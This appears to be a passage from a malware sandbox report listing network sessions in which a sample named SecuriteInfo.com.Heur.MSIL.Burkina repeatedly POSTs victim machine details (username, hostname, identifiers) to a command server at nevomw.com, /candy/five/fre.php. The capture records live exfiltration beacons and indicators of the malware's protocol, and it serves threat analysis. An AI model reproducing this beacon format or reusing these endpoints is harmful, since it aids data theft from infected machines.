Dec 2, 2020 11:53:00.769340038 CET	192	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	49758	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:01.090385914 CET	193	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:01.143268108 CET	193	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:01.218769073 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	49759	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:01.537713051 CET	194	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:01.590174913 CET	194	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:01.667457104 CET	195	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	49760	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:02.003036022 CET	195	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:02.055839062 CET	196	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:02.131956100 CET	196	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	49761	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:02.371231079 CET	197	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:02.431969881 CET	197	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:02.505198956 CET	198	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	49762	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:02.962532043 CET	198	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:03.015748024 CET	199	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:03.089901924 CET	199	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	49763	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:03.392819881 CET	200	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:03.445830107 CET	200	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:03.522391081 CET	200	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	49764	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:04.207113028 CET	201	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:04.260684013 CET	202	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:04.333813906 CET	202	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	49765	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:05.339663982 CET	203	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:05.391392946 CET	203	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:05.464608908 CET	203	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49717	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:43.786463022 CET	64	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:43.841705084 CET	64	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:43.916834116 CET	65	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	49766	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:05.740205050 CET	204	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:05.793560982 CET	204	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:05.865657091 CET	205	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	49767	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:06.108568907 CET	206	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:06.161303043 CET	206	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:06.249782085 CET	206	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	49768	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:06.554063082 CET	207	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:06.606434107 CET	207	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:06.678922892 CET	208	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	49769	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:06.984148026 CET	209	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:07.035990000 CET	209	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:07.107873917 CET	209	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	49770	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:07.369520903 CET	210	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:07.422445059 CET	210	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:07.495950937 CET	211	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	49771	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:07.847165108 CET	212	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:07.900952101 CET	212	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:07.981039047 CET	212	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	49772	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:10.181925058 CET	213	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:10.236537933 CET	213	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:10.313579082 CET	214	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	49773	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:10.569443941 CET	215	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:10.633315086 CET	215	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:10.708132982 CET	215	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	49774	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:11.023775101 CET	216	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:11.075879097 CET	216	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:11.152570009 CET	217	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	49775	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:11.449891090 CET	217	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:11.502696991 CET	218	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:11.577105045 CET	218	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49718	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:44.367507935 CET	67	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:44.424026966 CET	67	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:44.495388985 CET	67	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	49776	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
